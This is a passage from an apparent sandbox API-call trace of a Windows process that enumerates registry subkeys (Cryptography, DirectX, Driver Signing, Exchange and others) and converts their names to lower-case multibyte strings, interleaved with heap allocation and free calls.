projector", lpUsedDefaultChar=0x0) returned 30 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x58b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x58c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0248.802] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.802] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.802] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x58b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x58b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x58c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x58b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x58c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.803] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x58b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x58c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0248.803] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.803] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x58b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x58c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x58b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x58c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x58b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x58c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.804] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x58b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.804] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x58c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0248.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.804] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x58b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x58c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x58b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x58c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x58b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x58c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.805] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.805] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x58b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.805] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x58c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0248.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x58b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x58c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x58b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x58c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x58b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.806] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x58b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.806] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x58c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x58b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x58c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x58b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x58c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x58b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c120 [0248.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x58c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c120) returned 1 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58c0d8) returned 1 [0248.807] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58bbb8) returned 1 [0248.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x58b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0248.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58bbb8 [0248.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x58c0d8 [0248.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x58c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0248.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, 